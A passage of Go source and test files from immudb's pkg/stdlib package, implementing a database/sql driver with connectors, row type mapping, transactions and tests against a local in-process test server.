https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package stdlib import ( "context" "database/sql" "database/sql/driver" "fmt" "sync" "time" "github.com/codenotary/immudb/pkg/client" ) var immuDriver *Driver func init() { immuDriver = &Driver{ clientOptions: make(map[string]*client.Options), } sql.Register("immudb", immuDriver) } func OpenDB(cliOpts *client.Options) *sql.DB { c := &immuConnector{ cliOptions: cliOpts, driver: immuDriver, } return sql.OpenDB(c) } func Open(dns string) *sql.DB { c := &driverConnector{ driver: immuDriver, name: dns, } return sql.OpenDB(c) } type Driver struct { configMutex sync.Mutex clientOptions map[string]*client.Options sequence int } func (d *Driver) Open(name string) (driver.Conn, error) { ctx, cancel := context.WithTimeout(context.Background(), 60*time.Second) // Ensure eventual timeout defer cancel() connector, err := d.OpenConnector(name) if err != nil { return nil, err } return connector.Connect(ctx) } func (d *Driver) OpenConnector(name string) (driver.Connector, error) { return &driverConnector{driver: d, name: name}, nil } func (d *Driver) registerConnConfig(opt *client.Options) string { d.configMutex.Lock() connStr := fmt.Sprintf("registeredConnConfig%d", d.sequence) d.sequence++ d.clientOptions[connStr] = opt d.configMutex.Unlock() return connStr } func (d *Driver) unregisterConnConfig(connStr string) { d.configMutex.Lock() delete(d.clientOptions, connStr) d.configMutex.Unlock() } // RegisterConnConfig registers a ConnConfig and returns the connection string to use with Open. func RegisterConnConfig(clientOptions *client.Options) string { return immuDriver.registerConnConfig(clientOptions) } // UnregisterConnConfig removes the ConnConfig registration for connStr. func UnregisterConnConfig(connStr string) { immuDriver.unregisterConnConfig(connStr) } func (d *Driver) getNewConnByOptions(ctx context.Context, cliOptions *client.Options) (*Conn, error) { immuClient := client.NewClient().WithOptions(cliOptions) name := GetUri(cliOptions) err := immuClient.OpenSession(ctx, []byte(cliOptions.Username), []byte(cliOptions.Password), cliOptions.Database) if err != nil { return nil, err } cn := &Conn{ name: name, immuClient: immuClient, options: cliOptions, driver: d, } return cn, nil } ================================================ FILE: pkg/stdlib/driver_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package stdlib import ( "context" "fmt" "testing" "github.com/codenotary/immudb/pkg/client" "github.com/codenotary/immudb/pkg/server" "github.com/codenotary/immudb/pkg/server/servertest" "github.com/stretchr/testify/require" "google.golang.org/grpc" "google.golang.org/grpc/credentials/insecure" ) func TestRegisterConnConfig(t *testing.T) { options := server.DefaultOptions().WithAuth(true).WithDir(t.TempDir()) bs := servertest.NewBufconnServer(options) bs.Start() defer bs.Stop() opts := client.DefaultOptions().WithDir(t.TempDir()) opts.Username = "immudb" opts.Password = "immudb" opts.Database = "defaultdb" opts.WithDialOptions([]grpc.DialOption{grpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials())}) db := OpenDB(opts) defer db.Close() connStr := RegisterConnConfig(opts) defer UnregisterConnConfig(connStr) db = Open(connStr) _, err := db.ExecContext(context.Background(), fmt.Sprintf("CREATE TABLE %s (id INTEGER, amount INTEGER, total INTEGER, title VARCHAR, content BLOB, isPresent BOOLEAN, PRIMARY KEY id)", "myTable")) require.NoError(t, err) } ================================================ FILE: pkg/stdlib/errors.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package stdlib import "errors" var ErrNotImplemented = errors.New("not implemented") var ErrFloatValuesNotSupported = errors.New("float values are not yet supported by immudb") var ErrTimeValuesNotSupported = errors.New("time values are not yet supported by immudb") var ErrBadQueryString = errors.New("bad query string. use format immudb://username:secret@host:port/db") ================================================ FILE: pkg/stdlib/immuConnector.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package stdlib import ( "context" "database/sql/driver" "github.com/codenotary/immudb/pkg/client" ) type immuConnector struct { cliOptions *client.Options driver *Driver } func (c immuConnector) Driver() driver.Driver { return c.driver } func (c immuConnector) Connect(ctx context.Context) (driver.Conn, error) { return c.driver.getNewConnByOptions(ctx, c.cliOptions) } ================================================ FILE: pkg/stdlib/rows.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package stdlib import ( "database/sql/driver" "errors" "io" "math" "reflect" "strconv" "strings" "time" "github.com/codenotary/immudb/embedded/sql" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/client" ) type Rows struct { reader client.SQLQueryRowReader columns []client.Column } func newRows(reader client.SQLQueryRowReader) *Rows { return &Rows{ reader: reader, columns: reader.Columns(), } } func (r *Rows) Columns() []string { names := make([]string, 0) for _, n := range r.columns { name := n.Name[strings.LastIndex(n.Name, ".")+1 : len(n.Name)-1] names = append(names, string(name)) } return names } // ColumnTypeDatabaseTypeName // // IntegerType SQLValueType = "INTEGER" // BooleanType SQLValueType = "BOOLEAN" // VarcharType SQLValueType = "VARCHAR" // BLOBType SQLValueType = "BLOB" // TimestampType SQLValueType = "TIMESTAMP" // AnyType SQLValueType = "ANY" func (r *Rows) ColumnTypeDatabaseTypeName(index int) string { if index >= len(r.columns) { return "" } return r.columns[index].Type } // ColumnTypeLength If length is not limited other than system limits, it should return math.MaxInt64 func (r *Rows) ColumnTypeLength(index int) (int64, bool) { if index >= len(r.columns) { return 0, false } col := r.columns[index] switch col.Type { case sql.IntegerType: return 8, false case sql.VarcharType: return math.MaxInt64, true case sql.BooleanType: return 1, false case sql.BLOBType: return math.MaxInt64, true case sql.TimestampType: return math.MaxInt64, true default: return math.MaxInt64, true } } // ColumnTypePrecisionScale should return the precision and scale for decimal // types. If not applicable, variableLength should be false. func (r *Rows) ColumnTypePrecisionScale(index int) (precision, scale int64, ok bool) { return 0, 0, false } // ColumnTypeScanType returns the value type that can be used to scan types into. func (r *Rows) ColumnTypeScanType(index int) reflect.Type { if index >= len(r.columns) { return nil } col := r.columns[index] switch col.Type { case sql.IntegerType: return reflect.TypeOf(int64(0)) case sql.VarcharType: return reflect.TypeOf("") case sql.BooleanType: return reflect.TypeOf(true) case sql.BLOBType: return reflect.TypeOf([]byte{}) case sql.TimestampType: return reflect.TypeOf(time.Time{}) default: return reflect.TypeOf("") } } func (r *Rows) Close() error { // no reader here return nil } func (r *Rows) Next(dest []driver.Value) error { if !r.reader.Next() { return io.EOF } var row client.Row row, err := r.reader.Read() if errors.Is(err, sql.ErrNoMoreRows) { return io.EOF } if err == nil { for idx, val := range row { dest[idx] = val } } return err } func namedValuesToSqlMap(argsV []driver.NamedValue) (map[string]interface{}, error) { args := make([]interface{}, 0, len(argsV)) for _, v := range argsV { if v.Value != nil { args = append(args, v.Value.(interface{})) } else { args = append(args, nil) } } args, err := convertDriverValuers(args) if err != nil { return nil, err } vals := make(map[string]interface{}) for id, nv := range args { key := "param" + strconv.Itoa(id+1) vals[key] = nv } vals = convertToPlainVals(vals) return vals, nil } func convertToPlainVals(vals map[string]interface{}) map[string]interface{} { for key, nv := range vals { if reflect.ValueOf(nv).Kind() == reflect.Ptr && reflect.ValueOf(nv).IsNil() { nv = nil } switch t := nv.(type) { case *uint: vals[key] = *t case *uint8: vals[key] = *t case *uint16: vals[key] = *t case *uint32: vals[key] = *t case *uint64: vals[key] = *t case *int: vals[key] = *t case *int8: vals[key] = *t case *int16: vals[key] = *t case *int32: vals[key] = *t case *int64: vals[key] = *t case *string: vals[key] = *t case *bool: vals[key] = *t case *float32: vals[key] = *t case *float64: vals[key] = *t case *complex64: vals[key] = *t case *complex128: vals[key] = *t case *time.Time: vals[key] = *t default: vals[key] = nv } } return vals } func convertDriverValuers(args []interface{}) ([]interface{}, error) { for i, arg := range args { switch arg := arg.(type) { case driver.Valuer: v, err := callValuerValue(arg) if err != nil { return nil, err } args[i] = v } } return args, nil } var valuerReflectType = reflect.TypeOf((*driver.Valuer)(nil)).Elem() // callValuerValue returns vr.Value() // This function is mirrored in the database/sql/driver package. func callValuerValue(vr driver.Valuer) (v driver.Value, err error) { if rv := reflect.ValueOf(vr); rv.Kind() == reflect.Ptr && rv.IsNil() && rv.Type().Elem().Implements(valuerReflectType) { return nil, nil } return vr.Value() } // RowsAffected implements Result for an INSERT or UPDATE operation // which mutates a number of rows. type RowsAffected struct { er *schema.SQLExecResult } func (rows RowsAffected) LastInsertId() (int64, error) { // if immudb will returns a no monotonic primary key sequence this will not work anymore if rows.er != nil && len(rows.er.Txs) >= 1 { for _, v := range rows.er.FirstInsertedPks() { return v.GetN(), nil } } return 0, errors.New("unable to retrieve LastInsertId") } func (rows RowsAffected) RowsAffected() (int64, error) { if len(rows.er.Txs) == 0 { return 0, nil } // TODO: consider the case when multiple txs are committed return int64(rows.er.Txs[0].UpdatedRows), nil } ================================================ FILE: pkg/stdlib/rows_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package stdlib import ( "fmt" "math" "reflect" "testing" "time" "github.com/codenotary/immudb/embedded/sql" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/client" "github.com/stretchr/testify/require" ) func TestRows(t *testing.T) { rows := []client.Row{nil} cols := []client.Column{{Name: "(defaultdb.emptytable.c1)"}} reader := newMockRowReader(cols, rows) r := newRows(reader) ast := r.Columns() require.Equal(t, "c1", ast[0]) st := r.ColumnTypeDatabaseTypeName(1) require.Equal(t, "", st) num, b := r.ColumnTypeLength(1) require.Equal(t, int64(0), num) require.False(t, b) _, _, _ = r.ColumnTypePrecisionScale(1) ty := r.ColumnTypeScanType(1) require.Nil(t, ty) } func TestRows_ColumnTypeDatabaseTypeName(t *testing.T) { var tests = []struct { reader client.SQLQueryRowReader name string expected string }{ { name: "INTEGER", reader: newMockRowReader([]client.Column{{Name: "(defaultdb.emptytable.c1)", Type: sql.IntegerType}}, []client.Row{{1}}), expected: "INTEGER", }, { name: "VARCHAR", reader: newMockRowReader([]client.Column{{Name: "(defaultdb.emptytable.c1)", Type: sql.VarcharType}}, []client.Row{{"string"}}), expected: "VARCHAR", }, { name: "BLOB", reader: newMockRowReader([]client.Column{{Name: "(defaultdb.emptytable.c1)", Type: sql.BLOBType}}, []client.Row{{[]byte("bytes")}}), expected: "BLOB", }, { name: "BOOLEAN", reader: newMockRowReader([]client.Column{{Name: "(defaultdb.emptytable.c1)", Type: sql.BooleanType}}, []client.Row{{true}}), expected: "BOOLEAN", }, { name: "TIMESTAMP", reader: newMockRowReader([]client.Column{{Name: "(defaultdb.emptytable.c1)", Type: sql.TimestampType}}, []client.Row{{sql.TimeToInt64(time.Now())}}), expected: "TIMESTAMP", }, { name: "default", reader: newMockRowReader([]client.Column{{Name: "(defaultdb.emptytable.c1)", Type: sql.AnyType}}, []client.Row{{nil}}), expected: "ANY", }, { name: "no rows", reader: &mockRowReader{ rows: nil, }, expected: "", }, } for i, tt := range tests { t.Run(fmt.Sprintf("rows %d: %s", i, tt.name), func(t *testing.T) { rows := newRows(tt.reader) vt := rows.ColumnTypeDatabaseTypeName(0) require.Equal(t, tt.expected, vt) }) } } func TestRows_ColumnTypeLength(t *testing.T) { var tests = []struct { reader client.SQLQueryRowReader name string lenght int64 variableLenght bool }{ { name: "INTEGER", reader: newMockRowReader([]client.Column{{Name: "(defaultdb.emptytable.c1)", Type: sql.IntegerType}}, []client.Row{{1}}), lenght: 8, variableLenght: false, }, { name: "VARCHAR", reader: newMockRowReader([]client.Column{{Name: "(defaultdb.emptytable.c1)", Type: sql.TimestampType}}, []client.Row{{"string"}}), lenght: math.MaxInt64, variableLenght: true, }, { name: "BLOB", reader: newMockRowReader([]client.Column{{Name: "(defaultdb.emptytable.c1)", Type: sql.BLOBType}}, []client.Row{{[]byte("bytes")}}), lenght: math.MaxInt64, variableLenght: true, }, { name: "BOOLEAN", reader: newMockRowReader([]client.Column{{Name: "(defaultdb.emptytable.c1)", Type: sql.BooleanType}}, []client.Row{{true}}), lenght: 1, variableLenght: false, }, { name: "TIMESTAMP", reader: newMockRowReader([]client.Column{{Name: "(defaultdb.emptytable.c1)", Type: sql.TimestampType}}, []client.Row{{sql.TimeToInt64(time.Now())}}), lenght: math.MaxInt64, variableLenght: true, }, { name: "default", reader: newMockRowReader([]client.Column{{Name: "(defaultdb.emptytable.c1)", Type: sql.AnyType}}, []client.Row{{nil}}), lenght: math.MaxInt64, variableLenght: true, }, { name: "no rows", reader: &mockRowReader{ rows: nil, }, lenght: 0, variableLenght: false, }, } for i, tt := range tests { t.Run(fmt.Sprintf("rows %d: %s", i, tt.name), func(t *testing.T) { rows := newRows(tt.reader) vl, ok := rows.ColumnTypeLength(0) require.Equal(t, tt.lenght, vl) require.Equal(t, tt.variableLenght, ok) }) } } func TestRows_ColumnTypeScanType(t *testing.T) { var tests = []struct { reader client.SQLQueryRowReader name string expectedType reflect.Type }{ { name: "INTEGER", reader: newMockRowReader([]client.Column{{Name: "(defaultdb.emptytable.c1)", Type: sql.IntegerType}}, []client.Row{{1}}), expectedType: reflect.TypeOf(int64(0)), }, { name: "VARCHAR", reader: newMockRowReader([]client.Column{{Name: "(defaultdb.emptytable.c1)", Type: sql.VarcharType}}, []client.Row{{"string"}}), expectedType: reflect.TypeOf(""), }, { name: "BLOB", reader: newMockRowReader([]client.Column{{Name: "(defaultdb.emptytable.c1)", Type: sql.BLOBType}}, []client.Row{{[]byte("bytes")}}), expectedType: reflect.TypeOf([]byte{}), }, { name: "BOOLEAN", reader: newMockRowReader([]client.Column{{Name: "(defaultdb.emptytable.c1)", Type: sql.BooleanType}}, []client.Row{{true}}), expectedType: reflect.TypeOf(true), }, { name: "TIMESTAMP", reader: newMockRowReader([]client.Column{{Name: "(defaultdb.emptytable.c1)", Type: sql.TimestampType}}, []client.Row{{sql.TimeToInt64(time.Now())}}), expectedType: reflect.TypeOf(time.Now()), }, { name: "default", reader: newMockRowReader([]client.Column{{Name: "(defaultdb.emptytable.c1)", Type: sql.AnyType}}, []client.Row{nil}), expectedType: reflect.TypeOf(""), }, { name: "no rows", reader: &mockRowReader{ rows: nil, }, expectedType: nil, }, } for i, tt := range tests { t.Run(fmt.Sprintf("rows %d: %s", i, tt.name), func(t *testing.T) { rows := newRows(tt.reader) vt := rows.ColumnTypeScanType(0) require.Equal(t, tt.expectedType, vt) }) } } func TestRowsAffected_LastInsertId(t *testing.T) { ra := RowsAffected{ er: &schema.SQLExecResult{ Txs: []*schema.CommittedSQLTx{ { UpdatedRows: 1, LastInsertedPKs: map[string]*schema.SQLValue{ "table1": {Value: &schema.SQLValue_N{N: 1}}, }, FirstInsertedPKs: map[string]*schema.SQLValue{ "table1": {Value: &schema.SQLValue_N{N: 1}}, }, }, }, }, } lID, err := ra.LastInsertId() require.NoError(t, err) require.Equal(t, int64(1), lID) } func TestRowsAffected_LastInsertIdErr(t *testing.T) { ra := RowsAffected{ er: &schema.SQLExecResult{}, } _, err := ra.LastInsertId() require.ErrorContains(t, err, "unable to retrieve LastInsertId") } func TestRowsAffected_RowsAffected(t *testing.T) { ra := RowsAffected{ er: &schema.SQLExecResult{}, } rac, err := ra.RowsAffected() require.NoError(t, err) require.Equal(t, int64(0), rac) } func TestRows_convertToPlainVals(t *testing.T) { var tests = []struct { vals map[string]interface{} }{ {vals: map[string]interface{}{"v": (*string)(nil)}}, {vals: map[string]interface{}{"v": new(int)}}, {vals: map[string]interface{}{"v": new(int8)}}, {vals: map[string]interface{}{"v": new(int16)}}, {vals: map[string]interface{}{"v": new(int32)}}, {vals: map[string]interface{}{"v": new(int64)}}, {vals: map[string]interface{}{"v": new(uint)}}, {vals: map[string]interface{}{"v": new(uint8)}}, {vals: map[string]interface{}{"v": new(uint16)}}, {vals: map[string]interface{}{"v": new(uint32)}}, {vals: map[string]interface{}{"v": new(uint64)}}, {vals: map[string]interface{}{"v": new(string)}}, {vals: map[string]interface{}{"v": new(bool)}}, {vals: map[string]interface{}{"v": new(float32)}}, {vals: map[string]interface{}{"v": new(float64)}}, {vals: map[string]interface{}{"v": new(complex64)}}, {vals: map[string]interface{}{"v": new(complex128)}}, {vals: map[string]interface{}{"v": &time.Time{}}}, {vals: map[string]interface{}{"v": "default"}}, } for i, tt := range tests { t.Run(fmt.Sprintf("rows %d: %s", i, reflect.ValueOf(tt.vals["v"]).Type().String()), func(t *testing.T) { vals := convertToPlainVals(tt.vals) require.False(t, reflect.ValueOf(vals["v"]).Kind() == reflect.Ptr) }) } } func TestEmptyRowsForColumns(t *testing.T) { r := Rows{ columns: []client.Column{ { Name: "(defaultdb.emptytable.id)", }, { Name: "(defaultdb.emptytable.name)", }, }, } ast := r.Columns() require.Equal(t, "id", ast[0]) require.Equal(t, "name", ast[1]) } type mockRowReader struct { client.SQLQueryRowReader columns []client.Column rows []client.Row nextRow int } func newMockRowReader(cols []client.Column, rows []client.Row) *mockRowReader { return &mockRowReader{ columns: cols, rows: rows, } } func (r *mockRowReader) Next() bool { if r.nextRow+1 < len(r.rows) { r.nextRow++ return true } return false } func (r *mockRowReader) Columns() []client.Column { return r.columns } func (r *mockRowReader) Read() (client.Row, error) { if r.nextRow >= len(r.rows) { return nil, sql.ErrNoMoreRows } row := r.rows[r.nextRow] return row, nil } ================================================ FILE: pkg/stdlib/sql_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package stdlib import ( "context" "database/sql" "database/sql/driver" "fmt" "math/rand" "testing" "time" "github.com/codenotary/immudb/pkg/client" "github.com/codenotary/immudb/pkg/server" "github.com/codenotary/immudb/pkg/server/servertest" "github.com/google/uuid" "github.com/stretchr/testify/require" "google.golang.org/grpc" "google.golang.org/grpc/credentials/insecure" ) func getRandomTableName() string { rand.Seed(time.Now().UnixNano()) r := rand.Intn(100000) return fmt.Sprintf("table%d", r) } func testServerClient(t *testing.T) (*servertest.BufconnServer, *sql.DB) { options := server.DefaultOptions().WithAuth(true).WithDir(t.TempDir()) bs := servertest.NewBufconnServer(options) bs.Start() t.Cleanup(func() { bs.Stop() }) opts := client.DefaultOptions() opts.Username = "immudb" opts.Password = "immudb" opts.Database = "defaultdb" opts. WithDialOptions([]grpc.DialOption{grpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials())}). WithDir(t.TempDir()) db := OpenDB(opts) t.Cleanup(func() { db.Close() }) return bs, db } func TestOpenDB(t *testing.T) { _, db := testServerClient(t) table := getRandomTableName() _, err := db.ExecContext(context.Background(), fmt.Sprintf("CREATE TABLE %s(id INTEGER, name VARCHAR, PRIMARY KEY id)", table)) require.NoError(t, err) _, err = db.ExecContext(context.Background(), fmt.Sprintf("INSERT INTO %s (id, name) VALUES (1, 'immu1')", table)) require.NoError(t, err) _, err = db.ExecContext(context.Background(), fmt.Sprintf("INSERT INTO %s (id, name) VALUES (2, 'immu2')", table)) require.NoError(t, err) rows, err := db.QueryContext(context.Background(), fmt.Sprintf("SELECT * FROM %s ", table)) require.NoError(t, err) var id uint64 var name string defer rows.Close() rows.Next() err = rows.Scan(&id, &name) require.NoError(t, err) require.Equal(t, uint64(1), id) require.Equal(t, "immu1", name) rows.Next() err = rows.Scan(&id, &name) require.NoError(t, err) require.Equal(t, uint64(2), id) require.Equal(t, "immu2", name) rowsw, err := db.QueryContext(context.Background(), fmt.Sprintf("SELECT * FROM %s WHERE id = 2", table)) require.NoError(t, err) rowsw.Next() err = rowsw.Scan(&id, &name) require.NoError(t, err) require.Equal(t, uint64(2), id) require.Equal(t, "immu2", name) require.False(t, rowsw.Next()) } func TestQueryCapabilities(t *testing.T) { _, db := testServerClient(t) table := getRandomTableName() result, err := db.ExecContext(context.Background(), fmt.Sprintf("CREATE TABLE %s (id INTEGER, amount INTEGER, total INTEGER, title VARCHAR, content BLOB, isPresent BOOLEAN, publicID UUID, PRIMARY KEY id)", table)) require.NoError(t, err) require.NotNil(t, result) binaryContent := []byte("my blob content1") uuidPublicID := uuid.UUID([16]byte{0x00, 0x01, 0x02, 0x03, 0x04, 0x40, 0x06, 0x80, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f}) _, err = db.ExecContext(context.Background(), fmt.Sprintf("INSERT INTO %s (id, amount, total, title, content, isPresent, publicID) VALUES (?, ?, ?, ?, ?, ?, ?)", table), 1, 1000, 6000, "title 1", binaryContent, true, uuidPublicID) require.NoError(t, err) binaryContent2 := []byte("my blob content2") uuidPublicID2 := uuid.UUID([16]byte{0x10, 0x01, 0x02, 0x03, 0x04, 0x40, 0x06, 0x80, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f}) _, err = db.ExecContext(context.Background(), fmt.Sprintf("INSERT INTO %s (id, amount, total, title, content, isPresent, publicID) VALUES (?, ?, ?, ?, ?, ?, ?)", table), 2, 2000, 12000, "title 2", binaryContent2, true, uuidPublicID2) require.NoError(t, err) var id int64 var amount int64 var title string var isPresent bool var content []byte var publicID uuid.UUID rows, err := db.QueryContext(context.Background(), fmt.Sprintf("SELECT id, amount, title, content, isPresent, publicID FROM %s where isPresent=? and id=? and amount=? and total=? and title=?", table), true, 1, 1000, 6000, "title 1") require.NoError(t, err) defer rows.Close() rows.Next() err = rows.Scan(&id, &amount, &title, &content, &isPresent, &publicID) require.NoError(t, err) require.Equal(t, int64(1), id) require.Equal(t, int64(1000), amount) require.Equal(t, "title 1", title) require.Equal(t, binaryContent, content) require.Equal(t, true, isPresent) require.Equal(t, uuidPublicID, publicID) } func TestQueryCapabilitiesWithPointers(t *testing.T) { _, db := testServerClient(t) table := getRandomTableName() _, err := db.ExecContext(context.Background(), fmt.Sprintf("CREATE TABLE %s (id INTEGER AUTO_INCREMENT,name VARCHAR,manager_id INTEGER,PRIMARY KEY ID)", table)) require.NoError(t, err) table1 := getRandomTableName() _, err = db.ExecContext(context.Background(), fmt.Sprintf("CREATE TABLE %s (id INTEGER AUTO_INCREMENT,user_id INTEGER,name VARCHAR,PRIMARY KEY ID)", table1)) require.NoError(t, err) _, err = db.ExecContext(context.Background(), fmt.Sprintf("INSERT INTO %s (name,manager_id) VALUES (?,?)", table), "name", 1) require.NoError(t, err) id := uint(1) _, err = db.ExecContext(context.Background(), fmt.Sprintf("INSERT INTO %s (user_id,name) VALUES (?,?),(?,?) ", table1), &id, "name1", &id, "name2") require.NoError(t, err) } func TestNilValues(t *testing.T) { _, db := testServerClient(t) table := getRandomTableName() result, err := db.ExecContext(context.Background(), fmt.Sprintf("CREATE TABLE %s (id INTEGER, amount INTEGER, total INTEGER, title VARCHAR, content BLOB, PRIMARY KEY id)", table)) require.NoError(t, err) require.NotNil(t, result) _, err = db.ExecContext(context.Background(), fmt.Sprintf("INSERT INTO %s (id, amount, total, title, content) VALUES (?, ?, ?, ?, ?)", table), 1, nil, nil, nil, nil) require.NoError(t, err) var id int64 var amount sql.NullInt64 var title sql.NullString var content []byte rows, err := db.QueryContext(context.Background(), fmt.Sprintf("SELECT id, amount, title, content FROM %s where id=? and amount=? and total=? and title=?", table), 1, nil, nil, nil) require.NoError(t, err) defer rows.Close() rows.Next() err = rows.Scan(&id, &amount, &title, &content) require.NoError(t, err) require.Equal(t, int64(1), id) require.False(t, title.Valid) require.False(t, amount.Valid) require.Nil(t, content) } type valuer struct { val interface{} } func (v *valuer) Value() (driver.Value, error) { return v.val.(driver.Value), nil } func TestDriverValuer(t *testing.T) { _, db := testServerClient(t) table := getRandomTableName() result, err := db.ExecContext(context.Background(), fmt.Sprintf("CREATE TABLE %s (id INTEGER, amount INTEGER, total INTEGER, title VARCHAR, content BLOB, isPresent BOOLEAN, PRIMARY KEY id)", table)) require.NoError(t, err) require.NotNil(t, result) binaryContent := []byte("my blob content1") argsV := []interface{}{&valuer{1}, &valuer{100}, &valuer{200}, &valuer{"title 1"}, &valuer{binaryContent}, &valuer{true}} _, err = db.ExecContext(context.Background(), fmt.Sprintf("INSERT INTO %s (id, amount, total, title, content, isPresent) VALUES (?, ?, ?, ?, ?, ?)", table), argsV...) require.NoError(t, err) var id int64 var amount int64 var title string var isPresent bool var content []byte rows, err := db.QueryContext(context.Background(), fmt.Sprintf("SELECT id, amount, title, content, isPresent FROM %s ", table), argsV...) require.NoError(t, err) defer rows.Close() rows.Next() err = rows.Scan(&id, &amount, &title, &content, &isPresent) require.NoError(t, err) require.Equal(t, int64(1), id) require.Equal(t, int64(100), amount) require.Equal(t, "title 1", title) require.Equal(t, binaryContent, content) require.Equal(t, true, isPresent) } func TestImmuConnector_ConnectErr(t *testing.T) { opts := client.DefaultOptions().WithDir(t.TempDir()).WithAddress("some.host.that.does.not.exist") db := OpenDB(opts) defer db.Close() ctx, cancel := context.WithTimeout(context.Background(), time.Second) defer cancel() _, err := db.ExecContext(ctx, "this will not be executed") require.Error(t, err) require.Regexp(t, "context deadline exceeded|Error while dialing", err.Error()) } func TestImmuConnector_ConnectLoginErr(t *testing.T) { options := server.DefaultOptions().WithAuth(true).WithDir(t.TempDir()) bs := servertest.NewBufconnServer(options) bs.Start() defer bs.Stop() opts := client.DefaultOptions() opts.Username = "wrong-username" opts.Password = "immudb" opts.Database = "defaultdb" opts. WithDialOptions([]grpc.DialOption{grpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials())}). WithDir(t.TempDir()) db := OpenDB(opts) defer db.Close() _, err := db.ExecContext(context.Background(), "this will not be executed") require.ErrorContains(t, err, "invalid user name or password") } func TestImmuConnector_ConnectUseDatabaseErr(t *testing.T) { options := server.DefaultOptions().WithAuth(true).WithDir(t.TempDir()) bs := servertest.NewBufconnServer(options) bs.Start() defer bs.Stop() opts := client.DefaultOptions() opts.Username = "immudb" opts.Password = "immudb" opts.Database = "wrong-db" opts. WithDialOptions([]grpc.DialOption{grpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials())}). WithDir(t.TempDir()) db := OpenDB(opts) defer db.Close() _, err := db.ExecContext(context.Background(), "this will not be executed") require.ErrorContains(t, err, "database does not exist") } func TestImmuConnector_Driver(t *testing.T) { c := immuConnector{ driver: immuDriver, } d := c.Driver() require.IsType(t, &Driver{}, d) } ================================================ FILE: pkg/stdlib/tx.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package stdlib import ( "context" "database/sql/driver" ) type dbTx struct { *Conn } func (c *Conn) Begin() (driver.Tx, error) { return c.BeginTx(context.Background(), driver.TxOptions{}) } func (c *Conn) BeginTx(ctx context.Context, opts driver.TxOptions) (driver.Tx, error) { if !c.immuClient.IsConnected() { return nil, driver.ErrBadConn } tx, err := c.immuClient.NewTx(ctx) if err != nil { return nil, err } c.tx = tx return &dbTx{c}, nil } func (dbTx *dbTx) Commit() error { _, err := dbTx.tx.Commit(context.Background()) dbTx.tx = nil return err } func (dbTx *dbTx) Rollback() error { err := dbTx.tx.Rollback(context.Background()) dbTx.tx = nil return err } ================================================ FILE: pkg/stdlib/tx_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package stdlib import ( "context" "encoding/hex" "fmt" "testing" "google.golang.org/grpc/status" "github.com/codenotary/immudb/pkg/server/sessions" "github.com/stretchr/testify/require" ) func TestConn_BeginTx(t *testing.T) { _, db := testServerClient(t) table1 := getRandomTableName() result, err := db.Exec(fmt.Sprintf("CREATE TABLE %s (id INTEGER, amount 